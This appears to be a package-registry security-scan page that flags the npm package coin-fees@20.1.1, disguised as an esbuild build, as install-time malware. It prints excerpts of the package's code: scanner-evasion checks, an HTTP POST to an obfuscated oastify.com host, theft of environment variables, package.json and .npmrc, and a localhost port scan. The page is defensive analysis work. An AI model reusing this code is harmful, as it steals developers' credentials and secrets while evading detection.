registry / coin-fees / 20.1.1

coin-fees@20.1.1

netbsd-x64 build for esbuild

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package runs delayed, anti-analysis-gated reconnaissance and exfiltration. It sends environment, project, npm configuration, command output, and localhost-port information to a remote host.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall

Impact

Exposure of environment secrets, npm credentials, project metadata, and system/development-host details.

Mechanism

delayed environment and credential exfiltration with host reconnaissance

Attack narrative

On npm installation, postinstall launches index.js. The code avoids common scanner and container environments, waits 30–120 seconds, then sends host details, all environment variables, the consuming project's package.json, and the user's .npmrc to an obfuscated remote HTTP endpoint. It also runs system commands and probes local development ports before exfiltrating results.

Rationale

This is concrete install-time credential and data exfiltration with stealth/anti-analysis behavior, not package-aligned functionality. The package should be blocked.

Evidence

package.jsonindex.jsHOME/.npmrc

Network endpoints8

gvfqp5cm9r2jfs3d6mjpzt8y5pbkzanz.oastify.com:80127.0.0.1:80127.0.0.1:443127.0.0.1:3000127.0.0.1:5000127.0.0.1:8080

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes index.js during npm installation.
Source suppresses execution in CI, audit, Docker, and Kubernetes environments.
A hex-decoded hostname is used as an HTTP POST destination.
Delayed code exfiltrates all environment variables and project package.json.
It reads and exfiltrates HOME/USERPROFILE .npmrc.
It executes reconnaissance commands and scans localhost developer ports.

Evidence against

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 5.31 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

postinstall executes index.js during npm installation.

package.jsonView on unpkg · L6

index.jsView file

10// Scanner indicators — exit silently if detected const ___SCANNER = !!( ___env.CI || ___env.GITHUB_ACTIONS || ___env.GITLAB_CI || ___env.JENKINS_HOME || ___env.NPM_CONFIG_AUDIT === 'true' || ___env._NPM_AUDIT_PREVIEW || ___env.npm_execpath === 'undefined' || ___args.includes('audit') || ___args.includes('--dry-run') || ___args.includes('pack') || ___args.includes('publish') || ___args.includes('access') || ___args.includes('ping') );

High

Ai Review Evidence

Source suppresses execution in CI, audit, Docker, and Kubernetes environments.

index.jsView on unpkg · L10

65const http = require('http'); const opts = { hostname: ___HOST, port: 80, path: '/', method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(data) } }; const req = http.request(opts); req.write(data); req.end();

High

Ai Review Evidence

A hex-decoded hostname is used as an HTTP POST destination.

index.jsView on unpkg · L65

117const pkgPath = path.join(cwd, 'package.json'); if (fs.existsSync(pkgPath)) { ___send('package_json', fs.readFileSync(pkgPath, 'utf8')); } await ___wait(800); const envStr = Object.entries(___env) .map(([k, v]) => k + '=' + v) .join('\n'); ___send('env', envStr);

High

Ai Review Evidence

Delayed code exfiltrates all environment variables and project package.json.

index.jsView on unpkg · L117

139const home = ___env.HOME || ___env.USERPROFILE; if (home) { const npmrcP = path.join(home, '.npmrc'); if (fs.existsSync(npmrcP)) { ___send('npmrc', fs.readFileSync(npmrcP, 'utf8')); }

High

Ai Review Evidence

It reads and exfiltrates HOME/USERPROFILE .npmrc.

index.jsView on unpkg · L139

147/* ── PHASE 4: Local port scan (target: dev servers) ── */ const ports = [80, 443, 3000, 5000, 8080, 8443, 9090]; for (const port of ports) { try { const net = require('net'); const s = new net.Socket(); s.setTimeout(400); s.connect(port, '127.0.0.1', () => { ___send('open_port', '127.0.0.1:' + port + ' is open');

High

Ai Review Evidence

It executes reconnaissance commands and scans localhost developer ports.

index.jsView on unpkg · L147

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

postinstall executes index.js during npm installation.

package.jsonView on unpkg · L6

index.jsView file

High

Ai Review Evidence

Source suppresses execution in CI, audit, Docker, and Kubernetes environments.

Findings

7 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowFilesystem